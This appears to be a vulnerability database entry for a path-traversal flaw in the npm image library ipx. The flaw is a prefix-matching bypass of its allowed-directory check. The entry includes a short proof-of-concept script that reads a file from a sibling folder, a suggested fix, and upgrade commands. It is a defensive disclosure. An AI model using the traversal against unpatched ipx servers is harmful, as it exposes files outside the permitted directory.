VDB
Sign up
MEDIUM

GHSA-mm3p-j368-7jcr

IPX Allows Path Traversal via Prefix Matching Bypass

Quick fix

GHSA-mm3p-j368-7jcr — ipx: upgrade to the fixed version with the command below.

npm install ipx@1.3.2

Details

### Summary

The approach used to check whether a path is within allowed directories is vulnerable to path prefix bypass when the allowed directories do not end with a path separator. This occurs because the check relies on a raw string prefix comparison.

### PoC

- setup ``` mkdir ~/public123 move a png file under ~/public123 with name test.png cd npm i ipx ```

- `main.js` ```js import { createIPX, ipxFSStorage } from "ipx";

const ipx = createIPX({ storage: ipxFSStorage({ dir: "./public" }), });

(async () => { { const source = await ipx("../public123/test.png"); // access file outside ./public dir because of same prefix folder const { data, format } = await source.process(); console.log(format) // print image data } { try { const source = await ipx("../publi123/test.png"); // forbidden path: the prefix is not the same const { data, format } = await source.process(); console.log(data) } catch (err) { console.log(err.message) // Forbidden path: }

}

})() ```

- `node main.js` ``` png Forbidden path: /../publi123/test.png ```

### Impact Path Traversal

### Possible Fix

Check if the `dir` ends with `/` (path separator) and if not, add before calling `startsWith`

Are you affected?

Enter the version of the package you're using.

Affected packages

npm/ipx
Introduced in: 0Fixed in: 1.3.2
Fixnpm install ipx@1.3.2
npm/ipx
Introduced in: 2.0.0-0Fixed in: 2.1.1
Fixnpm install ipx@2.1.1
npm/ipx
Introduced in: 3.0.0Fixed in: 3.1.1
Fixnpm install ipx@3.1.1

References